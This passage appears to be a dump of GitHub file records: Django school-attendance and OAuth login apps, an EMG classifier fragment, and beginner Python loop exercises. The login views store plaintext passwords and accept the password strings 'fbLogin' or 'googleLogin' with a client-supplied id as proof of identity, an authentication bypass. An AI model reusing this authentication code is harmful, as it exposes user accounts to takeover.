-1)\n # print(processed_emg.shape)\n predicted_datas = self.mle.predict(processed_emg)\n return stats.mode(predicted_datas)[0][0]\n\n def split_emg(self, emg):\n n_sample = emg.shape[1] - self.N + 1\n return_emg = np.empty((0, emg.shape[0], self.N), float)\n for k in range(n_sample):\n return_emg = np.append(return_emg, [emg[:, k:self.N + k]], axis=0)\n return return_emg\n" } ]
4
RasagnyaMunjam/SchoolManagement
https://github.com/RasagnyaMunjam/SchoolManagement
9385940b310399f40dc3facdd2f382e43af07b4d
4db1134d0cc7e459b89f58643524854eebc75c0d
4c5c460f6cccbf63f739e0c7efcf78383dbbf45c
refs/heads/main
2023-07-13T00:43:44.913457
2021-08-26T11:05:01
2021-08-26T11:05:01
399,096,455
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6862514615058899, "alphanum_fraction": 0.6862514615058899, "avg_line_length": 36.82222366333008, "blob_id": "075203fa9cd9987341e04a5f229896320f665891", "content_id": "5a24c9bd9bb0f1cbf55a6507beffb3f8a4469ac4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1702, "license_type": "no_license", "max_line_length": 117, "num_lines": 45, "path": "/school1/proj2/app1/views.py", "repo_name": "RasagnyaMunjam/SchoolManagement", "src_encoding": "UTF-8", "text": "from django.core.mail import send_mail\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\nfrom .models import Numofstudents, Attendence\nfrom datetime import datetime\nfrom django.conf import settings\nimport socket\n\nhostname = socket.gethostname()\nIPAddr = socket.gethostbyname(hostname)\n\n\n# Create your views here.\n\ndef listofstu(request):\n data = Numofstudents.objects.all()\n request.session['date'] = datetime.now().strftime('%d/%m/%Y')\n request.COOKIES['ip'] = IPAddr\n return render(request, \"base.html\", {\"data\": data, 'date': request.session['date'], 'ip': request.COOKIES['ip']})\n\n\ndef present(request, pk):\n data = Numofstudents.objects.get(pk=pk)\n test = datetime.now()\n if not Attendence.objects.filter(Name=data.Name).filter(datefield=test.strftime('%Y-%m-%d')):\n attend = Attendence(Name=data.Name, datefield=test.strftime('%Y-%m-%d'), status='present')\n attend.save()\n return HttpResponse('Data stored successful')\n return HttpResponse('Attendance already captured')\n\n\ndef absent(request, pk):\n data = Numofstudents.objects.get(pk=pk)\n test = datetime.now()\n if not Attendence.objects.filter(Name=data.Name).filter(datefield=test.strftime('%Y-%m-%d')):\n attend = Attendence(Name=data.Name, datefield=test.strftime('%Y-%m-%d'), status='absent')\n attend.save()\n send_mail(\n f\"child attendance status\",\n f\"your child {data.Name} is absent today please confirm with us\",\n settings.EMAIL_HOST_USER,\n [ ]\n )\n return HttpResponse('Attendance captured for the day')\n return HttpResponse('Attendance already captured')\n" }, { "alpha_fraction": 0.7154989242553711, "alphanum_fraction": 0.7452229261398315, "avg_line_length": 32.57143020629883, "blob_id": "8eabd82d46fb98538b2d077d5ddd2ac5b9887c09", "content_id": "3de9e035c28bad736729c5de69e58b675d1b54e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 471, "license_type": "no_license", "max_line_length": 46, "num_lines": 14, "path": "/school1/proj2/app1/models.py", "repo_name": "RasagnyaMunjam/SchoolManagement", "src_encoding": "UTF-8", "text": "from django.db import models\n\n# Create your models here.\nclass Attendence(models.Model):\n Name = models.CharField(max_length=20)\n datefield =models.CharField(max_length=50)\n status = models.CharField(max_length=20)\n\nclass Numofstudents(models.Model):\n Name=models.CharField(max_length=20)\n Rollno=models.IntegerField()\n Fathername=models.CharField(max_length=20)\n email = models.EmailField(max_length=50)\n address=models.CharField(max_length=20)\n\n" }, { "alpha_fraction": 0.5427135825157166, "alphanum_fraction": 0.5979899764060974, "avg_line_length": 21.11111068725586, "blob_id": "2bf569b3e29451f97f0e02c0cdf54f1b06b56951", "content_id": "595fc66d8394bd1747486cef2d1839eecddf4d80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 398, "license_type": "no_license", "max_line_length": 52, "num_lines": 18, "path": "/school1/proj2/app1/migrations/0003_alter_attendence_datefield.py", "repo_name": "RasagnyaMunjam/SchoolManagement", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.6 on 2021-08-23 09:38\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app1', '0002_alter_attendence_datefield'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='attendence',\n name='datefield',\n field=models.CharField(max_length=50),\n ),\n ]\n" }, { "alpha_fraction": 0.7077844142913818, "alphanum_fraction": 0.7077844142913818, "avg_line_length": 33.79166793823242, "blob_id": "a6fe26292d6705736fb426aebe016374bf24dc5e", "content_id": "fbec82740d2493eacf16b7ff00de4fa6817aae94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 835, "license_type": "no_license", "max_line_length": 69, "num_lines": 24, "path": "/school1/proj2/app2/views.py", "repo_name": "RasagnyaMunjam/SchoolManagement", "src_encoding": "UTF-8", "text": "from django.contrib.auth import authenticate, logout\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\n\ndef home(request):\n return render(request, \"home.html\")\n\n# Create your views here.\ndef teacherlogin(request):\n if request.method == 'POST':\n form = AuthenticationForm(request=request, data=request.POST)\n if form.is_valid():\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n user = authenticate(username=username, password=password)\n return HttpResponseRedirect('/home')\n form = AuthenticationForm\n return render(request, \"login.html\", {\"form\": form})\n\n\ndef teacherlogout(request):\n logout(request)\n return HttpResponseRedirect('/')\n" }, { "alpha_fraction": 0.5191256999969482, "alphanum_fraction": 0.5737704634666443, "avg_line_length": 19.33333396911621, "blob_id": "2a0d2d91bcd9c194131149b0efc768e558852cb8", "content_id": "6dc9dece6d7e601df3121a217dc347835598c1f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 366, "license_type": "no_license", "max_line_length": 47, "num_lines": 18, "path": "/school1/proj2/app1/migrations/0002_alter_attendence_datefield.py", "repo_name": "RasagnyaMunjam/SchoolManagement", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.6 on 2021-08-23 09:31\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app1', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='attendence',\n name='datefield',\n field=models.DateField(),\n ),\n ]\n" }, { "alpha_fraction": 0.7900763154029846, "alphanum_fraction": 0.7900763154029846, "avg_line_length": 31.625, "blob_id": "1826e9e6fb509e0eb27dfe73ba50b0ceced32d4a", "content_id": "9a8235afd566635c43750fda2ee89389258e8265", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 262, "license_type": "no_license", "max_line_length": 48, "num_lines": 8, "path": "/school1/proj2/app1/admin.py", "repo_name": "RasagnyaMunjam/SchoolManagement", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Attendence,Numofstudents\n# Register your models here.\[email protected](Attendence)\nclass AttendenceAdmin(admin.ModelAdmin):\n list_display = ['Name','datefield','status']\n\nadmin.site.register(Numofstudents)\n\n" } ]
6
keni0k/processor
https://github.com/keni0k/processor
90e146c18403e77f8f773fbe68887082cfae86ce
ffab6bf8d02ed035a2f061e533f3deb61faaf8cd
b88ce070502b0a936162111615da0cebc786e99f
refs/heads/master
2022-01-10T03:38:58.608017
2019-05-10T17:45:31
2019-05-10T17:45:31
183,761,461
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.3879750370979309, "alphanum_fraction": 0.405558705329895, "avg_line_length": 38.1136360168457, "blob_id": "82ecd5a9953f42056be2a8322af67b500e458e7e", "content_id": "f1dbc5055fa22723de93b321ebfe7c011c827c52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1763, "license_type": "no_license", "max_line_length": 94, "num_lines": 44, "path": "/asm_decode.py", "repo_name": "keni0k/processor", "src_encoding": "UTF-8", "text": "commands = ['addi', 'subi', 'add', 'sub', 'mul', 'div',\r\n 'load', 'store',\r\n 'and', 'xor', 'or', \r\n 'branch', 'jump', 'exit', 'mod']\r\n\r\ndef dec_to_bin(x, count):\r\n x_bin = bin(int(x))[2:]\r\n while (len(str(x_bin)) < count):\r\n x_bin = '0' + x_bin\r\n return x_bin\r\n\r\ndef preproc(line):\r\n line = line.lower().replace(',', '')\r\n for id, com in enumerate(commands):\r\n line = line.replace(com, str(id))\r\n line = line[0:line.find('#')].replace('r', '')\r\n three_bytes = ''\r\n for idx, word in enumerate(line.split()):\r\n if idx < 3:\r\n count = 4 + idx\r\n else:\r\n count = 10\r\n \tif idx == 2:\r\n \t\t\tcount -=1\r\n if idx == 2 and three_bytes.startswith('0110'):\r\n \t\tcount +=3\r\n three_bytes += dec_to_bin(word, count)\r\n while len(three_bytes) < 24:\r\n three_bytes += '0'\r\n return three_bytes\r\n\r\nwith open(\"asm_prog.txt\", \"r\") as file_in:\r\n with open(\"asm.bin\", \"wb\") as file_out:\r\n line = file_in.readline()\r\n while line:\r\n line = preproc(line)\r\n if '1' not in line:\r\n \tline = file_in.readline()\r\n \tcontinue\r\n print(line)\r\n file_out.write(str(hex(int(line[:8], 2))[2:]+' ').encode('charmap'))\r\n file_out.write(str(hex(int(line[8:16], 2))[2:]+' ').encode('charmap'))\r\n file_out.write(str(hex(int(line[16:], 2))[2:]+' ').encode('charmap'))\r\n line = file_in.readline()" } ]
1
nirajchoudhary/loginoauth
https://github.com/nirajchoudhary/loginoauth
80d05b11bc472178fa82440c5ba805ac8a2657cc
474a8526680c8b1b787fcf5662bc6a338c1efc17
45c1dbb14f10d10732c468b76e1c8b96faaf87ee
refs/heads/master
2021-01-10T06:24:09.766272
2016-03-30T05:51:42
2016-03-30T05:51:42
55,035,484
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5165562629699707, "alphanum_fraction": 0.5310054421424866, "avg_line_length": 27.152542114257812, "blob_id": "000f2edeb2966c4d7fe0be81679762967dbb49d2", "content_id": "e9e7d1560443d4363a75c6c1ae5117fba6429816", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1661, "license_type": "permissive", "max_line_length": 73, "num_lines": 59, "path": "/logintest/static/js/userDetailsValidation.js", "repo_name": "nirajchoudhary/loginoauth", "src_encoding": "UTF-8", "text": "//jQuery for password matching\n$(document).ready(function () {\n $(\"#Confpasswd1\").keyup(function(){\n var psw1 = $(\"#passwd1\").val();\n var psw2 = $(\"#Confpasswd1\").val();\n if(psw1 == psw2)\n {\n $(\"#matching_status\").text(\"Password matched...\");\n $(\"#matching_status\").css(\"color\", \"green\");\n }\n else\n {\n $(\"#matching_status\").text(\"Password did not match...\"); \n }\n });\n /*jQuery.validator.setDefaults({\n debug: true,\n success: \"valid\"\n });\n $( \"#myForm2\" ).validate({\n rules: {\n passwd1: \"required\",\n Confpasswd1: {\n equalTo: \"#passwd1\"\n }\n }\n });*/\n});\n\nfunction validateForm() {\n\tvar msg = \"Validation Error...\";\n\tvar flag = 0;\n if( document.LoggedinForm.contactno.value == \"\" ||\n isNaN( document.LoggedinForm.contactno.value ) ||\n document.LoggedinForm.contactno.value.length != 10 )\n {\n //alert( \"Please provide a valid contact no of 10 digits.\" );\n\t\t\tmsg += \"\\n\\t-> Please provide a valid contact no of 10 digits.\";\n document.LoggedinForm.contactno.focus() ;\n\t\t\tflag = 1;\n //return false;\n }\n\tif( document.LoggedinForm.pin.value == \"\" ||\n isNaN( document.LoggedinForm.pin.value ) ||\n document.LoggedinForm.pin.value.length != 6 )\n {\n //alert( \"Please provide a valid pin no of 6 digits.\" );\n\t\t\tmsg += \"\\n\\t-> Please provide a valid pin no of 6 digits.\";\n document.LoggedinForm.pin.focus() ;\n\t\t\tflag = 1;\n //return false;\n }\n\tif (flag == 1)\n\t{\n\t\talert(msg);\n\t\treturn false;\n\t}\n\treturn true;\n}\n" }, { "alpha_fraction": 0.6630101203918457, "alphanum_fraction": 0.6650577783584595, "avg_line_length": 34.409324645996094, "blob_id": "9d0e93d7308b5bd2e7ae319c1e574cea679c287e", "content_id": "a07d38131f5b68a7e720a4446dad1a16b66acef3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6837, "license_type": "no_license", "max_line_length": 224, "num_lines": 193, "path": "/logintest/views.py", "repo_name": "nirajchoudhary/loginoauth", "src_encoding": "UTF-8", "text": "#-*- coding: utf-8 -*-\nfrom logintest.forms import LoginForm,LoggedinForm\nfrom django.shortcuts import render,redirect\nfrom models import Login,UserDetails\n\n# method to check whether user is already logged in or not.\ndef checkLoginStatus(request):\n\tif request.session.has_key('uID') and request.session.has_key('uName'):\n\t\treturn viewDetails(request)\t\t\t\t\t# if loggedin then print details\n\telse:\t\t\t\t\t\t\t\t\t\t\t# otherwise load the login page\n\t\treturn render(request, 'login.html', {})\n\n\n# method for logging in \ndef login(request):\n\tif request.method == \"POST\":\n\t\t#Get the posted form\n\t\tMyLoginForm = LoginForm(request.POST)\n \n\t\tif MyLoginForm.is_valid():\n\t\t\tuserid = MyLoginForm.cleaned_data['userid']\n\t\t\tpasswd = MyLoginForm.cleaned_data['passwd']\n\t\t\toauthid = MyLoginForm.cleaned_data['oauthid']\n\t\t\tif passwd == \"googleLogin\":\n\t\t\t\treturn googleLogin(request, userid, oauthid)\n\t\t\telif passwd == \"fbLogin\":\n\t\t\t\treturn fbLogin(request, userid, oauthid)\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\tres = Login.objects.filter(userId = userid)\n\t\t\t\t\tif res[0].password == passwd:\n\t\t\t\t\t\trequest.session['uID'] = res[0].id\t\t\t\n\t\t\t\t\t\trequest.session['uName'] = res[0].username\t\t\n\t\t\t\t\t\treturn viewDetails(request)\n\t\t\t\t\telse:\n\t\t\t\t\t\treturn render(request, 'login.html', {\"name\": userid, \"pswderror\": \"Password is incorrect...\"})\n\t\t\t\texcept:\n\t\t\t\t\treturn render(request, 'login.html', {\"name\": userid, \"usererror\": \"UserId does not exists...\"})\n\telse:\n\t\tMyLoginForm = LoginForm()\n\treturn viewDetails(request)\n\t\t\n\n# method for facebook login handeling\ndef fbLogin(request, name, fbid):\n\ttry:\n\t\tres = Login.objects.filter(fbId = fbid)\n\t\trequest.session['uID'] = res[0].id\n\t\trequest.session['uName'] = res[0].username\n\t\treturn viewDetails(request)\n\texcept:\n\t\trequest.session['fbName'] = name\n\t\trequest.session['fbId'] = fbid\n\t\treturn render(request, 'oAuthSignup.html', {\"error\" : \"\", \"loginType\" : \"fbLogin\"})\n\n\n\n# method for Google login handeling\ndef googleLogin(request, name, emailid):\n\ttry:\n\t\tres = Login.objects.filter(email = emailid)\n\t\trequest.session['uID'] = res[0].id\n\t\trequest.session['uName'] = res[0].username\n\t\treturn viewDetails(request)\n\texcept:\n\t\trequest.session['googleName'] = name\n\t\trequest.session['gId'] = emailid\n\t\treturn render(request, 'oAuthSignup.html', {\"error\" : \"\", \"loginType\" : \"googleLogin\"})\n\n\n\n# method for handeling first time login through social oAuth \n# if user has already account then link the both account\ndef oldUserLogin(request):\n\tif request.method == \"POST\":\t\n\t\tuserid = request.POST['userid']\n\t\tpasswd = request.POST['passwd']\n\t\tloginType = request.POST['oAuthType']\n\t\ttry:\n\t\t\tres = Login.objects.get(userId = userid)\n\t\t\tif res.password == passwd:\n\t\t\t\tif loginType == \"fbLogin\":\n\t\t\t\t\tres.fbId = request.session['fbId']\n\t\t\t\telse:\n\t\t\t\t\tres.email = request.session['gId']\n\t\t\t\t\n\t\t\t\trequest.session['uID'] = res.id\n\t\t\t\trequest.session['uName'] = res.username\n\t\t\t\tres.save()\n\t\t\t\treturn viewDetails(request)\n\t\t\telse:\n\t\t\t\treturn render(request, 'oAuthSignup.html', {\"error\" : \"Incorrect Password...\", \"loginType\" : loginType})\n\t\texcept:\n\t\t\treturn render(request, 'oAuthSignup.html', {\"error\" : \"Incorrect userId...\", \"loginType\" : loginType})\n\telse:\n\t\treturn viewDetails(request)\n\n\n\n# method for handeling first time login through social oAuth \n# if user has not an account yet then create one\ndef NewUserLogin(request):\n\tif request.method == \"POST\":\t\n\t\tuserid = request.POST['userid']\n\t\tpasswd = request.POST['passwd']\n\t\tloginType = request.POST['oAuthType']\n\t\ttry:\n\t\t\tres = Login.objects.get(userId = userid)\n\t\t\treturn render(request, 'oAuthSignup.html', {\"error\" : \"userId Already Exists...\", \"loginType\" : loginType})\n\t\texcept:\n\t\t\tif loginType == \"fbLogin\":\n\t\t\t\tins = Login(userId = userid, password = passwd, username = request.session['fbName'], fbId = request.session['fbId'])\n\t\t\t\tins.save()\n\t\t\t\tres = Login.objects.get(fbId = request.session['fbId'])\n\t\t\t\trequest.session['uID'] = res.id\t\n\t\t\t\trequest.session['uName'] = res.username\t\t\n\t\t\t\treturn viewDetails(request)\n\t\t\telse:\n\t\t\t\tins = Login(userId = userid, password = passwd, username = request.session['goggleName'], email = request.session['gId'])\n\t\t\t\tins.save()\n\t\t\t\tres = Login.objects.get(email = request.session['gId'])\n\t\t\t\trequest.session['uID'] = res.id\t\n\t\t\t\trequest.session['uName'] = res.username\t\t\n\t\t\t\treturn viewDetails(request)\n\telse:\n\t\treturn viewDetails(request)\n\n\n\n# method for viewing details of user loggedin\ndef viewDetails(request):\n\tif request.session.has_key('uID') and request.session.has_key('uName'):\n\t\ttry:\n\t\t\tres=UserDetails.objects.filter(uId_id = request.session['uID'])\n\t\t\tadd=res[0].address\n\t\t\tcity=res[0].city\n\t\t\tstate=res[0].state\n\t\t\tcountry=res[0].country\n\t\t\tpin=res[0].pin\n\t\t\tcontno=res[0].contactno\n\t\t\treturn render(request, 'loggedin.html',{\"username\" : request.session['uName'], \"add\" : add, \"city\" : city, \"state\" : state, \t\t\t\t\t\"country\" : country, \"pin\" : pin, \"contno\" : contno, \"status\" : \"Modify\"})\n\t\texcept:\n\t\t\treturn render(request, 'loggedin.html',{\"username\" : request.session['uName'], \"add\" : \"\", \"city\" : \"\", \"state\" : \"\", \"country\" : \t\t\t\t\t\t\"\", \"pin\" : \"\", \"contno\" : \"\", \"status\" : \"Save\"})\n\telse:\n\t\treturn render(request, 'login.html', {\"msg\" : \"\"})\n\n\n\n# method for inserting details into the mySQL db\ndef insertDetails(request):\n\tif request.method == \"POST\":\t\n\t\tuid = request.session['uID']\n\t\tname = request.POST['uname']\n\t\tadd = request.POST['add']\n\t\tcty = request.POST['city']\n\t\tstat = request.POST['state']\n\t\tcntry = request.POST.get('country', False)\n\t\tpinno = request.POST['pin']\n\t\tcontno = request.POST['contactno']\n\t\tres = Login.objects.get(id = uid)\n\t\tres.username = name\n\t\tres.save()\n\t\trequest.session['uName'] = name\n\t\ttry:\n\t\t\tins = UserDetails.objects.get(uId_id = uid)\n\t\t\tins.address = add\n\t\t\tins.city = cty\n\t\t\tins.state = stat\n\t\t\tins.country = cntry\n\t\t\tins.pin = pinno\n\t\t\tins.contactno = contno\n\t\t\tins.save()\n\t\t\treturn render(request, 'loggedin.html', {\"username\" : name, \"add\" : add, \"city\" : cty, \"state\" : stat, \"country\" : cntry, \t\t\t\t\t\t\"pin\" : pinno, \"contno\" : contno, \"status\" : \"Modify\", \"msg\" : \"Data Saved Successfully...\"})\n\t\texcept:\n\t\t\tins = UserDetails(uId_id = uid, address = add, city = cty, state = stat, country = cntry, pin = pinno, contactno = contno)\n\t\t\tins.save()\n\t\t\treturn render(request, 'loggedin.html', {\"username\" : name, \"add\" : add, \"city\" : cty, \"state\" : stat, \"country\" : cntry, \t\t\t\t\t\t\"pin\" : pinno, \"contno\" : contno, \"status\" : \"Modify\", \"msg\" : \"Data Saved Successfully...\"})\n\telse:\n\t\treturn viewDetails(request)\n\t\t\t\n\t\n# method to logout from details page\t\ndef logout(request):\n\ttry:\n\t\tdel request.session['uID']\n\t\tdel request.session['uName']\n\t\tdel request.session['fbName']\n\t\tdel request.session['fbId']\n\t\tdel request.session['googleName']\n\t\tdel request.session['gId']\n\texcept:\n\t\tpass\n\treturn render(request, 'login.html', {\"msg\" : \"You are loggedout...\"})\n\t\t\n" }, { "alpha_fraction": 0.6994750499725342, "alphanum_fraction": 0.7257217764854431, "avg_line_length": 32.130435943603516, "blob_id": "bcadb7938a59542074db20d4ec8d135f322347c4", "content_id": "29624068e939d02aa672a83a2f7e160b20203780", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 762, "license_type": "no_license", "max_line_length": 67, "num_lines": 23, "path": "/logintest/models.py", "repo_name": "nirajchoudhary/loginoauth", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass Login(models.Model):\n\n\tuserId = models.CharField(max_length = 50, unique = True)\n\tpassword = models.CharField(max_length = 20)\n\tusername = models.CharField(max_length = 50)\n\temail = models.EmailField(unique=True, null = True)\n\tfbId = models.CharField(max_length = 50, unique=True, null = True)\n\tclass Meta:\n\t\tdb_table = \"login\"\n\nclass UserDetails(models.Model):\n\n\tuId = models.ForeignKey(Login, on_delete = models.CASCADE)\n\taddress = models.CharField(max_length = 100)\n\tcity = models.CharField(max_length = 50)\n\tstate = models.CharField(max_length = 30)\n\tcountry = models.CharField(max_length = 50)\n\tpin = models.CharField(max_length = 6)\n\tcontactno = models.CharField(max_length = 10)\n\tclass Meta:\n\t\tdb_table = \"userdetails\"\n" }, { "alpha_fraction": 0.6868686676025391, "alphanum_fraction": 0.7222222089767456, "avg_line_length": 33.94117736816406, "blob_id": "a5bbaadf7d53865c8ed928b9c88a78963e6b62b1", "content_id": "c0aea6c30e1f171645ffc0fb3669a3098fc72840", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 594, "license_type": "no_license", "max_line_length": 57, "num_lines": 17, "path": "/logintest/forms.py", "repo_name": "nirajchoudhary/loginoauth", "src_encoding": "UTF-8", "text": "#-*- coding: utf-8 -*-\nfrom django import forms\n\nclass LoginForm(forms.Form):\n\tuserid = forms.CharField(max_length = 50)\n\tpasswd = forms.CharField(widget = forms.PasswordInput())\n\toauthid = forms.CharField(max_length = 75)\n\nclass LoggedinForm(forms.Form):\n\tuserID = forms.CharField(max_length = 50)\n\tuname = forms.CharField(max_length = 50)\n\tadd = forms.CharField(max_length = 100)\n\tcity = forms.CharField(max_length = 50)\n\tstate = forms.CharField(max_length = 30)\n\tcountry = forms.CharField(max_length = 50)\n\tpin = forms.CharField(max_length = 6)\n\tcontactno = forms.CharField(max_length = 10)\n" }, { "alpha_fraction": 0.6892489194869995, "alphanum_fraction": 0.6892489194869995, "avg_line_length": 36.72222137451172, "blob_id": "ba68caa9cb9cb77e2122efaeb263d6ae740d7a65", "content_id": "8265f475e4b212c73ae8b087ab65a224f65b696c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 679, "license_type": "no_license", "max_line_length": 77, "num_lines": 18, "path": "/loginoauth/urls.py", "repo_name": "nirajchoudhary/loginoauth", "src_encoding": "UTF-8", "text": "from django.conf.urls import patterns, include, url\nfrom django.views.generic import TemplateView\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('logintest.views',\n\n url(r'^admin/', include(admin.site.urls)),\n\turl(r'^$', 'checkLoginStatus'),\n\t#url(r'^loginhtml/$', TemplateView.as_view(template_name = 'login.html')),\n\t#url(r'^loggedin/$', TemplateView.as_view(template_name = 'loggedin.html')),\n\turl(r'^login/$', 'login'),\n\turl(r'^details/$', 'insertDetails'),\n\turl(r'^logout/$', 'logout'),\n\t#url(r'^link/$', TemplateView.as_view(template_name = 'oAuthSignup.html')),\n\turl(r'^olduser/$', 'oldUserLogin'),\n\turl(r'^newuser/$', 'NewUserLogin'),\n)\n" }, { "alpha_fraction": 0.782608687877655, "alphanum_fraction": 0.782608687877655, "avg_line_length": 35.79999923706055, "blob_id": "2a8ac2e0450c43e69fe36fe6c30a84bf75071d42", "content_id": "e9debd09d83fae00ad644fb755cc433e1efdd4bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 184, "license_type": "no_license", "max_line_length": 109, "num_lines": 5, "path": "/README.md", "repo_name": "nirajchoudhary/loginoauth", "src_encoding": "UTF-8", "text": "# loginoauth\n#Language : python\n#Web Framework : django\n#Database : mySQL\n#This is the simple project in which i am implementing oAuth login using favebook and google login oAuth api.\n" } ]
6
Rujabhatta22/pythonProject10
https://github.com/Rujabhatta22/pythonProject10
2503bd5b7a6f8ec145f44a68ed8637c82ccd1fa5
ed3606413740c330ee7169a077e672622db2428a
41d6bc6f363d634ed9fbeebe01a5f30f62a3a856
refs/heads/master
2023-04-10T12:17:29.300813
2021-03-27T07:50:49
2021-03-27T07:50:49
350,997,085
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6263736486434937, "alphanum_fraction": 0.6483516693115234, "avg_line_length": 21.75, "blob_id": "d35a2f95bb5ae84a53e6a294a4b4bd0d3257cebf", "content_id": "6a4fecc6ac27e85a99ebce337b1c5d595dc4ff80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 182, "license_type": "no_license", "max_line_length": 102, "num_lines": 8, "path": "/fgedh.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "#what will be the output of following program? Rewrite the code using for loop to display same output.\nn=6\ni=0\nfor i in range(n):\n i+=1\n if i==3:\n continue\n print(i)\n" }, { "alpha_fraction": 0.6190476417541504, "alphanum_fraction": 0.670634925365448, "avg_line_length": 27, "blob_id": "a66e9b5647fcbc1c8184018f5a0d128d52b0471d", "content_id": "40a3e967312b77fb9b06d41dc25c49e0193b1ec1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 252, "license_type": "no_license", "max_line_length": 120, "num_lines": 9, "path": "/gshdgfjsaa.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "#the python code below generation 50 random even integers. Rewrite the code so it uses a while loop instead of for loop.\nimport random\nmy_list = [ ]\ni=0\nwhile i<=50:\n i+=1\n num=random.randint(1, 1200)\n if num%2==0:\n my_list.append(num)\n" }, { "alpha_fraction": 0.6898148059844971, "alphanum_fraction": 0.7037037014961243, "avg_line_length": 29.85714340209961, "blob_id": "7abe50891a865a510491ed66d84b4a970536e23f", "content_id": "6c58cb53ab2704a52a4b375c079f82cd84205ca1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 216, "license_type": "no_license", "max_line_length": 55, "num_lines": 7, "path": "/number guess.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "import random\nnumber=random.randint(1,10)\nguess=int(input(\"please guess the number?\"))\nwhile number !=guess:\n guess=int(input('uffs!! try again : guess again:'))\nelse:\n print('congratulation!!! you are right')\n" }, { "alpha_fraction": 0.6290322542190552, "alphanum_fraction": 0.6827957034111023, "avg_line_length": 30.16666603088379, "blob_id": "67462b76fe9fb17b92c5de5fe64298b6c997116f", "content_id": "2c26fe56fb198e1dc416c91159c758326e94f833", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 186, "license_type": "no_license", "max_line_length": 102, "num_lines": 6, "path": "/xfcghjkfdhgfjkhiygujfdhgjuk.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "#the python code below calculates the multiplication of 3 up to 10. Rewrite the code using recurision.\ni=1\nnum=3\nfor i in range(0,11):\n product = 3*i\n print(f\"3 + {i} = {product}\")" }, { "alpha_fraction": 0.5178571343421936, "alphanum_fraction": 0.5654761791229248, "avg_line_length": 23.14285659790039, "blob_id": "b4b92904b83efcb94e1b3873627203fc9bc6da8c", "content_id": "d9d1a142c1d75006d6cdfcbed005e199d9c2b974", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 168, "license_type": "no_license", "max_line_length": 37, "num_lines": 7, "path": "/dDAFSGRDHTFJ.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "assc1_number = 65\nfor i in range(4):\n for j in range(i + 1):\n character = chr(assc1_number)\n print(character, end=\" \")\n assc1_number +=1\n print()" }, { "alpha_fraction": 0.6091954112052917, "alphanum_fraction": 0.6321839094161987, "avg_line_length": 23.428571701049805, "blob_id": "f355084494a1e8f5fa69e53ac88077c7c3fc2bd6", "content_id": "6e43cc926b121c56899a7952769b8841b6d8e92c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 174, "license_type": "no_license", "max_line_length": 104, "num_lines": 7, "path": "/outputprogram.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "#what will be the output of following program? Rewrite the code using while loop to display same output.\ni=0\nwhile i<5:\n print(i)\n if (i==2):\n break\n i+=1\n\n\n\n" }, { "alpha_fraction": 0.38235294818878174, "alphanum_fraction": 0.4215686321258545, "avg_line_length": 16, "blob_id": "56c8d88215949bf0c36fe67a1b6ee7820f5a427d", "content_id": "765e077ab73250b65d3beb36c34ad5755f181b86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 102, "license_type": "no_license", "max_line_length": 26, "num_lines": 6, "path": "/hgdfsgjuk.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "a=0\nfor i in range(4):\n for j in range(i + 1):\n print(a , end=\" \")\n a+=1\n print()\n" }, { "alpha_fraction": 0.5917159914970398, "alphanum_fraction": 0.6508875489234924, "avg_line_length": 27.33333396911621, "blob_id": "322fabb292ede3c2e961885034dbe92e31474e5c", "content_id": "d3bab9c005193114f1e4cbfc77b17b8792a9e06a", "detected_licenses": [], 